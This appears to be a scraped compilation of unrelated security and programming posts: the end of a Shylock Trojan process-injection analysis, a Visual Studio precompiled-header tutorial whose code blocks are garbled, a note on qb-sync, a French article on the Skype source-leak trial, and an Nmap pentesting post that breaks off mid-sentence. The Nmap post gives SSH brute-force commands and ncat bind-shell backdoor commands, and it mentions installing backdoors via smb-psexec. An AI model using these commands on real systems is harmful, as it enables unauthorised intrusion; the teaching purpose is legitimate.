/**Process32Next** APIs, the code lists all running processes and by using
**strcmpiA** function it compares the name of the running process to
explorer.exe. Once found the explorer.exe process we jump here:

<img src='img/Temp2_9237.jpg' width='350' height='243' />

By looking at the involved APIs we can see that the code uses the
**CreateRemoteThread** / **WriteProcessMemory** Technique to inject its’ code
into explorer.exe process.  
More info about the technique you can read here. Scrolling a bit down we see
this:

<img src='img/Temp2_9180.jpg' width='391' height='304' />

We can see that the code calls **WriteProcessMemory** 3 times. Let’s follow
the steps:

**Step \#1 : Retrieve a HANDLE to the remote process \(OpenProcess\):**

<img src='img/Temp2_9211.jpg' width='622' height='126' />

**Step \#2 : Allocate memory in the remote process’s address space for
injected data \(VirtualAllocEx\):**

<img src='img/Temp2_9229.jpg' width='575' height='58' />

**Step \#3 : Write a copy of the initialised INJDATA structure to the
allocated memory \(WriteProcessMemory\)**.

First VirtuallAllocEx/ WriteProcessMemory call:

We can see that the code writes 92000 bytes from address 00A50000 to the newly
virtually allocated memory \(022A0000\). If we will look at address 00A50000
we can immediately see the MZ header :

<img src='img/Temp2_9227.jpg' width='428' height='317' />

Dumping the first explorer’s.exe injected code:

<img src='img/Temp2_9203.jpg' width='346' height='136' />

Before calling the second **VirtuallAllocEx** / **WriteProcessMemory**
combination the code changes 4 bytes at offset 28h \(DOS Header->e\_res2->
offset 28h / offset 2Ah\) from 00000000 to be the base address of the
v.allocated newly memory\( 022A0000 \) and also changes at offset 2C \(DOS
Header->e\_res2-> offset 2Ch / offset 2Eh\) also from 00000000 to be the size
of the newly v.allocated memory \(00092000\)

<img src='img/Temp2_9167.jpg' width='445' height='172' />

<img src='img/Temp2_9165.jpg' width='283' height='356' />

Second VirtuallAllocEx/ WriteProcessMemory call:

Writes again 92000 bytes from address 00A50000 \(includes above bytes
changes\) to the newly virtually allocated memory – 023C0000:

<img src='img/Temp2_9184.jpg' width='281' height='110' />

Dump:

<img src='img/Temp2_9240.jpg' width='346' height='136' />

Let’s see the diff:

<img src='img/Temp2_9202.jpg' width='389' height='181' />

Third VirtuallAllocEx/ WriteProcessMemory call:

Writes 9D7 bytes to the newly allocated memory – 00AA0000:

<img src='img/Temp2_9207.jpg' width='283' height='180' />

**Step \#4: Start the remote copy of ThreadFunc via CreateRemoteThread.**

<img src='img/Temp2_9192.jpg' width='345' height='117' />

We see that the code calls **CreateRemoteThread** function in order to create
a thread that runs in the virtual address space of explorer.exe process. The
handle to the process in which the thread is to be created \(arg1 – 68h\) is
the handle returned from the **OpenProcess** function. The lpStartAddress
\(arg4\), the starting address of the thread in the remote process, is the
address returned from the third VirtuallAllocEx – not the MZ code. And the
lpParameter, a pointer to a variable to be passed to the thread function, is
the address that returned from the 2rd VirtuallAllocEx call – the MZ code –
the dll.

**Step \#5: Wait until the remote thread terminates \(WaitForSingleObject\).**

<img src='img/Temp2_9179.jpg' width='786' height='28' />

**Step \#6: Retrieve the result from the remote process \(ReadProcessMemory or
GetExitCodeThread\).**

<img src='img/Temp2_9181.jpg' width='544' height='37' />

**Step \#7 and \#8 – The clean Up**

<img src='img/Temp2_9201.jpg' width='657' height='166' />  
Free the memory allocated in Steps \#2 and \#4 \(VirtualFreeEx\), and Close
the handles retrieved in Steps \#6 and \#1 \(CloseHandle\).

And we are infected <img src='img/Temp2_9216.jpg' alt=':)' />

<img src='img/Temp2_9234.jpg' width='512' height='26' />

**6\. Conclusion**

According to the title, the main scope of this blog post is walking toe to toe
with Shylock Trojan. On my next post \(in a few days\) I will walk toe to toe
with the injected code.

**7\. Final Notes**

**Thx 4 Reading\!**

**p4r4n0id**

# stdafx.h for Novices

**Created:**| _9/11/2014 3:58:26 PM_  
---|---  
**Updated:**| _9/11/2014 3:58:26 PM_  
**Author:**| __  
**Tags:**| _C++ programming_  
  

#  stdafx.h for Novices

25.06.2014 Andrey Karpov

This article is meant for those programmers who are only getting started with
the Visual Studio environment and trying to compile their C++ projects under
it. Everything looks strange and complicated in an unfamiliar environment, and
novices are especially irritated by the stdafx.h file that causes strange
errors during compilation. Pretty often it all ends in them diligently turning
off all precompiled headers in every project. We wrote this article to help
Visual Studio newcomers to figure it all out.

<img src='img/Temp2_10644.png' alt='Picture 1' />

## The purpose of precompiled headers

Precompiled headers are intended to speed up project builds. When getting
started with Visual C++, programmers usually try it on very small projects
that cannot show the performance gain from using precompiled headers. Both
with and without them, the program seems to take the same time to compile.
This is just what confuses the user: he doesn't see any use in this option and
concludes that it is needed for some specific tasks and he will never need it.
This delusion may last for years.

Precompiled headers are actually a very useful technology. You can notice the
benefit even with a project of just a few dozens of files. Using such heavy
libraries as boost makes the performance gain especially evident.

If you examine the \*.cpp files in your project, you will notice that many of
them include the same sets of headers, for example <vector>, <string>,
<algorithm>. These headers, in their turn, include other headers, and so on.

All this results in the compiler's preprocessor doing the same work again and
again - it must read the same files many times, insert them into each other,
process \#ifdef and expand macros. Because of that, the same operations are
repeated a huge number of times.

The amount of work the preprocessor has to do during project compilation can
be greatly reduced. The idea is to preprocess a group of files in advance and
then simply insert already prepared text fragments where necessary.

It actually includes a few more steps: instead of simple text you can store
more highly processed information. I don't know how exactly it all is
implemented in Visual C++, but I know that, for instance, you can store text
already split into lexemes. It will speed up the compilation process even
more.

## How precompiled headers work

A file containing precompiled headers has the ".pch" extension. The file name
usually coincides with the project name, but you can naturally change this and
any other used names in the settings. The \*.pch file may be pretty large,
which depends on how many headers are expanded in it. In PVS-Studio, for
example, it occupies about 3 Mbytes.

The \*.pch file is created as a result of the stdafx.cpp file's compilation.
This file is built with the "/Yc" switch that is used specifically to tell the
compiler to create precompiled headers. The stdafx.cpp file can contain one
line: \#include "stdafx.h".

The most interesting stuff is stored in the "stdafx.h" file. All the header
files to be precompiled should be included into it. For example, below is the
stdafx.h file we use in PVS-Studio \(the text is abridged for the article\):

[code]

    #include"VivaCore/VivaPortSupport.h"//For /Wall#pragma warning#pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #pragma warningdisable #include<stdio.h>#include<string>#include<vector>#include<iostream>#include<fstream>#include<algorithm>#include<set>#include<map>#include<list>#include<deque>#include<memory>#pragma warning//For /Wall
[/code]

The "\#pragma warning" directives are necessary to get rid of warnings
generated on standard libraries.

Now the "stdafx.h" file should be included into all the \*.c/\*.cpp files. You
should also remove from these files all the headers already included into
"stdafx.h".

But what to do when different files use somewhat similar but still different
sets of headers? For example:

  * File A: <vector>, <string>
  * File B: <vector>, <algorithm>
  * File C: <string>, <algorithm>

Should you create individual precompiled headers? Well, you can do that but
you don't need to.

You only need to create one precompiled header where <vector>, <string> and
<algorithm> will be expanded. The benefit of the preprocessor not having to
read numbers of files and insert them into each other overweighs the losses on
syntax analysis of additional code fragments.

## How to use precompiled headers

When starting a new project, Visual Studio's Wizard creates two files:
stdafx.h and stdafx.cpp. It is through them that the mechanism of precompiled
headers is implemented.

These files can actually have any other names; it's not the name that matters
but the compilation parameters you specify in the project settings.

A \*.c/\*.cpp file can only use one precompiled header. However, one project
may contain a few different precompiled headers. Suppose we have only one for
now.

So if you have used the Wizard, the files stdafx.h and stdafx.cpp are already
created for you, and all the necessary compilation switches are also defined.

If you didn't use the precompiled headers option in your project, let's find
out how to enable it. I suggest the following algorithm:

  * Enable precompiled headers in all configurations for all \*.cpp files. It can be done on the "Precompiled Header" tab:
    * Set the value "Use \(/Yu\)" for the "Precompiled Header" option.
    * Set "stdafx.h" for the "Precompiled Header File" option.
    * Set "$\(IntDir\)$\(TargetName\).pch" for the "Precompiled Header Output File" option.
  * Create an stdafx.h file and add it into the project. We will include those headers we want to be preprocessed in advance into this file.
  * Create an stdafx.cpp file and add it into the project. This file has only one line: \#include "stdafx.h".
  * Change the settings for the stdafx.cpp file in all configurations; set the value "Create \(/Yc\)" for the "Precompiled Header" option.

Now we have enabled the precompiled headers option. If we run compilation now,
the compiler will create the \*.pch file. However, compilation will terminate
just a bit later because of errors.

We have set all the \*.c/\*.cpp files to use precompiled headers, but it's not
enough. We need now to add \#include "stdafx.h" into each file.

The "stdafx.h" header must be the very first one to be included into the
\*.c/\*.cpp file. This is obligatory\! Otherwise you are guaranteed to get
compilation errors.

It really makes sense, if you come to think of it. When the "stdafx.h" file is
included in the very beginning, you can substitute an already preprocessed
text into the file. This text stays the same all the time and is not affected
by anything.

And now imagine that we have included some other file prior to "stdafx.h" and
that file contains the line \#define bool char. It will make the situation
undefined as we have changed the contents of all the files where "bool" is
mentioned. Now you can't just insert a preprocessed text, and the entire
mechanism of "precompiled headers" gets broken. I believe this to be one of
the reasons why "stdafx.h" must be included in the first place. Perhaps there
are some other reasons too.

## Life hack

Manually typing \#include "stdafx.h" into all the \*.c/\*.cpp files is pretty
tiresome and boring. Besides, you will get a new revision in the version
control system with lots of files changed. It's no good doing so.

Third-party libraries included into the project as source files cause some
additional troubles. Changing these files won't make sense. The best solution
would be to disable precompiled headers for them, but it's inconvenient when
you use a number of small libraries. You will be constantly stumbling over
precompiled headers.

But there is an easier way to handle precompiled headers. This method is not a
universal one, but it did help me in many cases.

Instead of manually adding \#include "stdafx.h" in all the files, you may use
the "Forced Included File" option.

Go to the "Advanced" settings tab. Select all configurations. In the field
"Forced Included File" write the following text:

StdAfx.h;%\(ForcedIncludeFiles\)

From now on, "stdafx.h" will be automatically included in the beginning of ALL
the files to be compiled. PROFIT\!

You won't need to manually add \#include "stdafx.h" in the beginning of each
and every \*.c/\*.cpp file anymore - the compiler will do it automatically.

## What to include into stdafx.h

This is a very important question. Mindlessly including every single header
into "stdafx.h" will slow down the compilation process instead of speeding it
up.

All the files that include "stdafx.h" depend on its contents. Suppose
"stdafx.h" includes the file "X.h". Changing "X.h" just a little bit may cause
complete recompilation of the whole project.

Important rule. Make sure your "stdafx.h" file includes only those files that
never or VERY rarely change. The best candidates are headers from system and
third-party libraries.

If you include you own project files into "stdafx.h", be especially careful.
Include only those files that change very, very rarely.

If any of the \*.h files changes once in a month, it's too frequent enough. In
most cases, it takes you more than once to do all the necessary edits in an
h-file - usually 2 or 3 times. Completely recompiling the entire project 2 or
3 times is quite an unpleasant thing, isn't it? Besides, all your colleagues
will need to do the same.

But don't be too fanatical about non-changing files. Include only those
headers that you use really often. Including <set> won't make sense if you
need it in just a couple of files. Instead, simply include this file where
needed.

## Several precompiled headers

What for may we need several precompiled headers in one project? Well, it's a
pretty rare situation indeed. But here you are couple of examples.

Imagine the project is using both \*.c and \*.cpp files together. You can't
use a shared \*.pch file for them - the compiler will generate an error.

You have to create two \*.pch files. One of them is created after compiling
the C-file \(xx.c\), the other after compiling the C++-file \(yy.cpp\).
Accordingly, you should specify in the settings to use one precompiled header
for C-files and another for C++-files.

Note. Don't forget to set different names for these two \*.pch files.
Otherwise they will be replacing each other.

Here's another situation. One part of the project uses one large library while
the other part uses another large library.

Naturally, different parts of the project should not know about both
libraries: there may be \(unlucky\) overlapping of entities' names in
different libraries.

It is logical to create two precompiled headers and use them in different
parts of the program. As we have already mentioned, you may use any names you
like for the files the \*.pch files are generated from. Well, even the name of
the \*.pch file can be changed too. It all should be done very carefully of
course, but there's nothing especially difficult about using two precompiled
headers.

## Typical mistakes when using precompiled headers

Now that you have attentively read the text above, you will understand and
eliminate any errors related to stdafx.h. But I suggest that we quickly review
novice programmers' typical mistakes once again and investigate the reasons
behind them. Practice makes perfect.

### Fatal error C1083: Cannot open precompiled header file:
'Debug\project.pch': No such file or directory

You are trying to compile a file that uses a precompiled header while the
corresponding \*.pch file is missing. Possible reasons are:

  * The stdafx.cpp file has not been compiled, so the \*.pch file is not created yet. This may happen when, for instance, you first clean the solution and then try to compile one \*.cpp file \(Compile Ctrl-F7\). To solve the problem, compile the entire solution or at least the stdafx.cpp file.
  * No file has been specified in the settings to generate the \*.pch file from - that is, the troubles are with the /Yc compilation switch. This problem is common with Visual Studio newcomers trying to use precompiled headers in their project for the first time. To find out how to do it correctly, see the above section "How to use precompiled headers".

### Fatal error C1010: unexpected end of file while looking for precompiled
header. Did you forget to add '\#include "stdafx.h"' to your source?

The error text says it all if you bother to read it. The file is compiled with
the /Yu switch. It means that a precompiled header is to be used, but
"stdafx.h" is missing from the file.

You need to add \#include "stdafx.h" into the file.

If you can't do it, do not use the precompiled header for this \*.c/\*.cpp
file. Delete the /Yu switch.

### Fatal error C1853: 'project.pch' precompiled header file is from a
previous version of the compiler, or the precompiled header is C++ and you are
using it from C \(or vice versa\)

The project contains both C \(\*.c\) and C++ \(\*.cpp\) files. You cannot use
a shared precompiled header \(\*.pch file\) for them.

Possible solutions:

  * Disable precompiled headers for all the C-files. Practice shows that \*.c files are preprocessed several times quicker than \*.cpp ones. If you have just a few \*.c files, you won't lose in performance by disabling precompiled headers for them.
  * Create two precompiled headers. The first one should be generated from stdafx\_cpp.cpp, stdafx\_cpp.h; the second from stdafx\_c.c, stdafx\_c.h. Accordingly, you should use different precompiled headers for the \*.c and \*.cpp files. The names of the \*.pch files must also be different, of course.

### The compiler misbehaves when using precompiled headers

You must have done something wrong. For example, the line \#include "stdafx.h"
is not the first one in the file.

Take a look at this example:

[code]

    #include"stdafx.h" _tmain _TCHARreturn
[/code]

This code will fail to compile, the compiler generating a seemingly strange
error message:

[code]

    error C2065 undeclared identifier
[/code]

It thinks that all text before \#include "stdafx.h" \(including this line\) is
a precompiled header. When compiling the file, the compiler will substitute
the text before \#include "stdafx.h" with the text from the \*.pch file. It
will result in losing the line "int A = 10".

The correct code should look like this:

[code]

    #include"stdafx.h" _tmain _TCHARreturn
[/code]

One more example:

[code]

    #include"my.h"#include"stdafx.h"
[/code]

The contents of the file "my.h" won't be used. As a result, you won't be able
to use the functions declared in this file. Such behavior does confuse
programmers a lot. They try to "cure" it by completely disabling precompiled
headers and then come up with stories about how buggy Visual C++ is. Remember
one thing: a compiler is one of the least buggy tools. In 99.99% of all cases,
it's not the compiler you should be angry with, but mistakes in your own code
\(Proof\).

To avoid such troubles, make sure you add \#include "stdafx.h" in the very
beginning of the file ALL THE TIME. Well, you can leave comments before
\#include "stdafx.h"; they don't take part in compilation anyway.

Another way is to use Forced Included File. See the section "Life hack" above.

### The entire project keeps completely recompiling when using precompiled
headers

You have added into stdafx.h a file that you keep regularly editing. Or you
could have included an auto-generated file by mistake.

Attentively examine the contents of the "stdafx.h" file: it must contain only
headers that never or very rarely change. Keep in mind that while certain
included files do not change themselves, they may contain references to other
\*.h files that do.

### Something strange going on

You may sometimes come across an issue when an error doesn't disappear even
after fixing the code. The debugger reports something strange.

This issue may relate to the \*.pch file. For some reason the compiler doesn't
notice that one of the header files has been changed, so it doesn't recompile
the \*.pch file and keeps inserting previously generated text. It might have
been caused by some faults related to the time of file modification.

This is an EXTREMELY rare situation. But it is possible and you should know
about it. Personally I have faced this issue only 2 or 3 times during the many
years of my career. It can be solved by complete full project recompilation.

### A project using precompiled headers cannot be analyzed by PVS-Studio or
CppCat

This is the most frequent trouble users report to our support service. For
details, see the documentation: "PVS-Studio: Troubleshooting". Here I will
only give a brief summary of the problem.

If a solution compiles well, it doesn't mean that it is implemented correctly.
One solution may often contain numbers of projects, each of them using their
own precompiled headers \(i.e. their own stdafx.h and stdafx.cpp files\).

Troubles occur when programmers start using files from one project in another.
It may be convenient and this method is quite popular indeed. But they also
forget that the \*.cpp file contains the line \#include "stdafx.h".

The question is, which of the stdafx.h files will be taken up? If the program
compiles well, it means the programmer is just lucky enough.

Unfortunately, it is very difficult for us to reproduce the behavior when
using the \*.pch file. You see, the "honest" preprocessor works quite
differently.

You can check if your solution is implemented in a wrong way by temporarily
disabling precompiled headers. You may then get lots of interesting errors
that will make you sincerely wonder how your project could compile at all.

Again, refer to the documentation for details. If anything is still unclear,
ask our support service.

## Conclusion

As you can see, working with precompiled headers is pretty easy. Programmers
that try to use them and constantly face "compiler's numerous bugs" just don't
understand the working principles behind this mechanism. I hope this article
has helped you to get rid of that misunderstanding.

Precompiled headers are a very useful option that allows you to significantly
enhance project compilation speed.

# quarkslab/qb-sync

**Created:**| _9/27/2013 11:01:32 AM_  
---|---  
**Updated:**| _9/27/2013 11:01:32 AM_  
**Author:**| __  
**Tags:**| _iDA windbg_  
  

# qb-sync

qb-sync is an open source tool to add some helpful glue between IDA Pro and
Windbg. Its core feature is to dynamically synchronize IDA's graph windows
with Windbg's position.

# Le procès de la diffusion des sources de Skype s'ouvre en France - PC INpact

**Created:**| _9/27/2013 7:47:04 AM_  
---|---  
**Updated:**| _9/27/2013 7:48:00 AM_  
**Author:**| __  
**Tags:**| _reversing Law_  
  

# **L** e procès de la diffusion des sources de Skype s'ouvre en France****

## Skype en slype****

Exclusif PC INpact**.** Selon nos informations, le 24 septembre prochain, au
Tribunal correctionnel de Caen, un important procès sera jugé à la demande de
Skype contre ceux qui sont accusés d’avoir publié une partie des sources du
fameux logiciel acheté 8,5 milliards de dollars par Microsoft**.**

Dans les cartons, le projet de la société Vest Corporation était pour le moins
ambitieux : mettre en œuvre un système robuste, si ce n’est « incassable »,
qui servirait à épauler une solution sécurisée interopérable avec Skype**.**
Cette start-up de Lantheuil, non loin de Caen, imagine au-delà la création
d’un futur Skype français proposé par exemple aux banques et toute autre
structure manipulant des produits sensibles**.**

Vest Corporation avait été fondée en 2007**.** Entre ses murs, deux hommes :
Sean O’Neil et Christian Durandy**.** Celui-ci prend les manettes de la
gérance et la charge des relations commerciales**.** O’Neil, mordu de
mathématique, s'occupe de la partie technique**.** Il se fait fort d’avoir
participé aux éliminatoires du Concours international de standards organisé
par le N.I.S.T. \(National Institute of Standards and Technology\)**.**
Surtout, on attribue au personnage le déchiffrage en 2010 d’une partie des
algorithmes secrets de Skype**.**

Le nom d’O’Neil se retrouve d’ailleurs sur Wikipedia à la page VEST \(Very
Efficient Substitution Transposition\)**.** Quant à la Vest Corporation, elle
est justement citée sur le site du russe Efim Bushmanov **.** Ce chercheur,
jusqu’alors inconnu, avait provoqué des remous dans la presse mondiale en 2011
lorsqu’il annonçait avoir décompilé le protocole Skype**.** Désireux de
libérer le logiciel Microsoft, il mettait à disposition ces algorithmes ultra-
sensibles en indiquant qu’une partie des codes avait été puisée du côté de la
Vest Corporation \(la mention est toujours sur son site \)**.**

### La plainte de Microsoft-Skype****

Il n’en fallait pas moins pour attirer les foudres de Microsoft, qui avait mis
8,5 milliards sur la table pour racheter Skype le 10 mai 2011**.** D’un côté,
l’éditeur adressait une pluie de demandes DMCA pour faire retirer ces pièces
du site internet du chercheur russe**.**

De l’autre côté, sur le territoire français, le Dublinois Microsoft-Skype a
dès le 16 septembre 2010 déposé plainte auprès du Parquet de Paris**.** Code
pénal sous le bras, Christian Durandy, gérant de Vest Corporation, est accusé
d'être responsable de ces faits de contrefaçons**.** Mais ce n'est pas tout :
le prévenu aurait aussi mené un accès frauduleux dans son système de
traitement automatisé \(STAD\), entravé le fonctionnement de Skype et même
introduit frauduleusement des données puisqu’une lourde campagne de spams
aurait fait suite à cette diffusion de codes**.** Dans cet article du 8
juillet 2010 de Techcrunch, Skype mettait en cause O'Neil pour ces mêmes
faits**.**

<img src='img/Temp2_4865.png' alt='skype RC4 ' />

L’éditeur reproche enfin à Durandy d’avoir vendu, ou en tout cas mis à
disposition une solution permettant une atteinte au système informatique
Skype, infraction là encore pénalement poursuivie**.** Le gérant estime pour
sa part n’avoir rien à voir avec cette diffusion du protocole RC4 localisée à
Nice en juillet 2010, il a de plus rompu ses liens avec son ex-partenaire**.**

Les faits complexes seront détricotés, analysés, qualifiés à Caen fin
septembre**.**

### Le statut juridique de l'algorithme, du code, du logiciel****

L'affaire porte d’importants enjeux**.** Au-delà des éventuelles
responsabilités, il s’agira en effet de savoir quel est le statut de
l’algorithme**.** Peut-il y avoir un droit d’auteur et donc une contrefaçon
lorsqu’on copie et/ou diffuse un algorithme sans autorisation **?** Le droit
européen, encadré par la directive du 14 mai 1991, semble bien répondre que
non**.** Si les données diffusées sont qualifiées de _logiciel_ , restera pour
le tribunal à déterminer si les différentes exceptions au monopole des auteurs
ne peuvent pas ici être retenues \(exception de décompilation, reproduction de
code à des fins d’interopérabilité, etc**.**\).

La solution de cette plainte devra être auscultée avec d’autant plus
d’attention que le client sécurisé et interopérable à Skype de la VEST
Corporation est resté dans les cartons**.** D’ailleurs, le fils du gérant
avait présenté à Monaco en 2010 un business plan : un projet de paiement
bancaire par l’intermédiaire de Skype, étude à laquelle a participé
O’Neil**.** Mais la petite SARL française au capital de 16 800 euros n’a
jamais pu obtenir les capitaux nécessaires à son envol du fait de cette
plainte**.**

****

# Advanced Nmap Security Aegis

**Created:**| _10/25/2011 12:36:13 PM_  
---|---  
**Updated:**| _10/25/2011 6:32:11 PM_  
**Author:**| __  
**Tags:**| _pentest network-security_  
  

# Advanced Nmap

Some of the guys I hack with and I have been talking about the “core” toolset
in pentesting… like what could you absolutely not go in without? What we came
up with is:

  * **nmap**
  * metasploit
  * ettercap
  * burp
  * Wireshark

  
  
There are tons of tools that came close to that bracket, other proxies,
scanners, other MiTM tools, but these tools have a special place in our
hearts. These tools have encompassed so many pentesting needs that it’s hard
to find something this combo **can’t** do. This is also clearly for external
and internal pentests, that do NOT include social, OSINT, and other type of
tests.

Tonight I wanted to share some Nmap stuff that I’ve been using lately or am
getting ready to start using.

It’s hard to go over Nmap in one writeup for a few reasons. One is it’s
default purpose \(scanning\) is a topic in an of itself. Correct timing,
parallelism, scan types, IDS evasion, internal scans, external scans, etc.
These could all have posts of thier own, all with heated debate about the
validity of each.

The second reason is Nmap is no longer a scanner. Not that anyone who reads
this blog wouldn’t know that but, nmap has grown into a beast of some sorts.
Nmap has effectively extended itself to replace Medusa \(with Ncrack\), Hping
\(with Nping\), Nessus/OpenVAS \(with Nmap Scripting Engine\), Netcat \(with
Ncat\), UnicornScanner/UDPProtoScanner \(New Nmap UDP scanning\), as well as
has a host of bolted on scripts that extend Nmap beyond just a normal users
use case. Today we’ll just go through a few cool things, as you can find a lot
about general nmap scanning techniques from the below books:

  

  
<img src='img/Temp2_487.png' width='123' height='197' alt='alt' /><img
src='img/Temp2_485.png' width='324' height='197' alt='alt' />

  
  

## **Ncrack**

Ncrack is a command line password bruteforcer like hydra and medusa. Up until
recently I was a stalwart Medusa user but what brought me over \(mostly\) was
the superior SSH library, RDP password bruting, and easy nmap-like syntax.
Should you want to audit a whole class C for ssh passwords Ncrack makes this
easy:

`1` | `ncrack scanme.nmap.org/24 -p 22`  
---|---  
Ncrack supports the following protocols:

  * FTP
  * TElNET
  * SSH
  * RDP
  * HTTP\(S\)
  * SMB
  * POP3\(s\)

  
  
Comparing this to Medusa it seems like a lot less to offer, Medusa does SQL
bruteforcers, R-service bruteforcers, VNC, VMWare Authd, SNMP, etc, but in
most cases I use Ncrack with Medusa as a backup. The rest of those protocols I
can mostly get through Metasploit which is one less layer of abstraction. In
some cases Ncrack can be less stable, in these cases rely on ole medusa to
CYA. We recommended using password lists from SkullSecurity, Ron has made an
extensive list of popular site breaches and their associated leaked passwords
for pentesters to use with bruteforcing tools.

## **Nping**

Nping is another summer of code project designed \(presumably\) to take over
Hping duties. Since there is a plethora of Hping versions to carry around i
find it refreshing to have an updated tool for packet manipulation. In general
Hping’s utility is to generate custom packets. Using hping is way easier than
implementing custom packets in a scripting language like python. A major
drawback to Hping was its lack of inherent “scanner” type functionality,
meaning that unless you created a bash wrapper or TCL script it was a one
target type of tool. Nping fixes this in stellar fashion by supporting Nmap
syntax. Although Nmap has done it’s best to implement the type of scanning one
would do with Hping/Nping nothing beats having a command line tool to send
custom packets. Custom packets being a very ambiguous term, Hping has
traditionally been used to test firewalls, evade IDS, send POC/DoS packets,
etc. Many have moved over to Scapy as it offers a bit more in the way of
customization but Nping is a welcome addition to packet crafting tools.

## **NSE \(Nmap Scripting Engine\)**

The Nmap Scripting Engine is a lua framework to do pretty much anything within
nmap, with the power of nmap. If you think about it, it was a natural
progression. Nmap was already doing service version fingerprinting and banner
checking… isn’t that what bigtime vulnerability scanners do? Vulnscanner =
PortScanner + Service Version Checking \( using banner reading, TCP/IP
response timing, and other socket response type regexing/signatures\) +
**vulnerability correlation**. I mean, theres a bit more to it, but not much.
You can see that in that list theres not much that nmap didn’t already do.
Plus adding a simple scripting language that anyone can write to the powerful
underlying NSE makes for empowered testers. Some bigtime firms I know have
taken vuln scanners out of the rotation in their pentests opting for specific
targeted NSE scripts. In addition NSE offers a lot to both netpen and webpen.
A plethora of scripts are webpen based. There are a modest 194 scripts in SVN
but I know that not everyone is releasing thier scripts, which imo hurts the
projects awesomeness. Lame pentesters are lame. Here are some of our favs:

  * banner \- A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds. We’ve used this to scan large domains with services not in the nmap fingerprints database and pipe the output to files for later inspection.
  * dns-cache-snoop \- Performs DNS cache snooping against a DNS server. Replaces easy bash scripting, but nice.
  * hostmap \- Tries to find hostnames that resolve to the target’s IP address by querying the online database at http://www.bfk.de/bfk\_dnslogger.html. Replaces Hostmap which is intermittently broken =\(
  * http-brute \- Performs brute force password auditing against http basic authentication. Saves some time setting up Burp to do this.
  * **http-enum –** Enumerates directories used by popular web applications and servers. WIN. We have ported many fingerprints we see often into http-enum’s fingerprint database \(in fact we are credited in that source\). Dirbuster and wfuzz are great and focus on large sets of common words for directory bruteforcing, we use http-enum for more targeted framework bruteforcing… and it works.
  * smb-enum-shares \- Attempts to list shares using the `srvsvc.NetShareEnumAll` MSRPC function and retrieve more information about them using `srvsvc.NetShareGetInfo`. If access to those functions is denied, a list of common share names are checked.
  * smb-brute \- Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts. SMB is the weakest link… goodbye.
  * smb-check-vulns \- Checks for vulnerabilities: MS08-067, etc, etc.
  * smb-psexec \- This script implements remote process execution similar to the Sysinternals’ psexec tool, allowing a user to run a series of programs on a remote machine and read the output. This is great for gathering information about servers, running the same tool on a range of system, **or even installing a backdoor on a collection of computers**.
  * As well as the more targeted SNMP, MSSQL, MYSQL, ORACLE, and Lotus enumeration and bruteforce scripts.

  
  
In addition, Andre Gironda \(@atdre\) pointed us to NSE Vulscanner this week
which correlates services banners to OSVDB vulns… which is… **WICKED**. In
this thread you can see that, yes, there are some logistical problems with
vulns not being verified/false positives but, this NSE script is a powerful
tool in addition to your blanket portscans. Think of how Armitage and
DBAutopwn work in Metasploit. Portscan -> Vuln correlation per port. Well now
you are not only leveraging the Metasploit database, but the WHOLE OSVDB at no
cost to you. As service level detection becomes available for this, well, you
can imagine a lot of vuln scan companies running scared. A Sample run looks
like so:

`01` | `nmap -PN -sS -sV --script=vulscan -p25 www.target.com`  
---|---  
`02` |   
---|---  
`03` | `PORT STATE SERVICE REASON VERSION`  
---|---  
`04` | `25/tcp open smtp syn-ack Exim smtpd 4.69`  
---|---  
`05` | `| vulscan: [5330] Exim Configuration File Variable Overflow`  
---|---  
`06` | `| [5896] Exim sender_verify Function Remote Overflow`  
---|---  
`07` | `| [5897] Exim header_syntax Function Remote Overflow`  
---|---  
`08` | `| [5930] Exim Parenthesis File Name Filter Bypass`  
---|---  
`09` | `| [12726] Exim -be Command Line Option host_aton Function Local Overflow`  
---|---  
`10` | `| [12727] Exim SPA Authentication spa_base64_to_bits Function Remote Overflow`  
---|---  
`11` | `| [12946] Exim -bh Command Line Option dns_build_reverse Function Local Overflow`  
---|---  

Also, Nmap NSE and Metasploit have bridged a bit through new functions
implemented in Metasploit, check that out.

Lastly, Ron also has an experimental pwdump like Nmap script that will dump
password hashes and get them ready for rainbow tables … effing eh…

So, NSE… get on it. Here are some links to get you hyped:

  * Nmaps official video channel w/ scripting talk from Blackhat
  * David Shaw’s Nmap Scripting Primer Video
  * Ron Bowes Nmap Scripting Presentation from Bsides Ottowa
  * Nmap NSE Hacking for IT Security Professionals Presenation by Marc who made vulscan \(above\)

  
  
PS – I like to search for cool non-trunk scripts like this in google: ”nse
script nmap -nmap.org” and to the left sort results by last 6 months \(i do
this for a lot of hacking tools actually\)

## **Ncat**

Ncat is Nmap’s answer to Netcat. It pretty much does everything netcat can do
plus implements IPV6, UDP, and SSL socket connections… no more stunnel\! It
also has hex output options, SOCKS4 + HTTP Proxying, and built in access
control. Irongeek has a video basically showing all the flag actions in
practice, you can find that here. Ncat also comes with a nifty exec feature,
here we are ssl wrapping our backdoor:  
  

Backdoor ncat:

`1` | `C:\Windows\System32> ncat -l --exec "cmd.exe" 1337`  
---|---  
Connecting:

`01` | `root@bt:~# ncat 192.168.1.2 1337`  
---|---  
`02` | `Microsoft Windows [Version 6.1.7600]`  
---|---  
`03` | `Copyright (c) 2009 Microsoft Corporation. All rights reserved.`  
---|---  
`04` |   
---|---  
`05` | `c:\Windows\System32>dir`  
---|---  
`06` | `dir`  
---|---  
`07` | ` ``Volume in drive C has no label.`  
---|---  
`08` | ` ``Volume Serial Number is 00E1-F423`  
---|---  
`09` |   
---|---  
`10` | ` ``Directory of c:\Windows\System32`  
---|---  
`11` |   
---|---  
`12` | `04/15/2011 03:20 AM .`  
---|---  
`13` | `04/15/2011 03:20 AM ..`  
---|---  
`14` | `07/13/2009 10:37 PM 0409`  
---|---  
`15` | `09/27/2010 10:33 AM 1033`  
---|---  
Traffic Inspection of backdoor before SSL:

<img src='img/Temp2_484.png' width='150' height='150' alt='alt' />

SSL backdoor:

`1` | `C:\Windows\System32> ncat -l --ssl --exec "cmd.exe" 1337`  
---|---  
Connecting:

`1` | `root@bt:~# ncat --ssl 192.168.1.2 1337`  
---|---  
Traffic Inspection of “dir” command using backdoor after SSL:  
<img src='img/Temp2_486.png' width='150' height='150' alt='alt' />

## **Nmap UDP Payload Scanning**

The issue facing accurate scanning of UDP ports is the nature of UDP programs
themselves. Delivering anything other than a legitimate UDP Payload to a
service usually results in a dropped packet. This is bad news for pentesters,
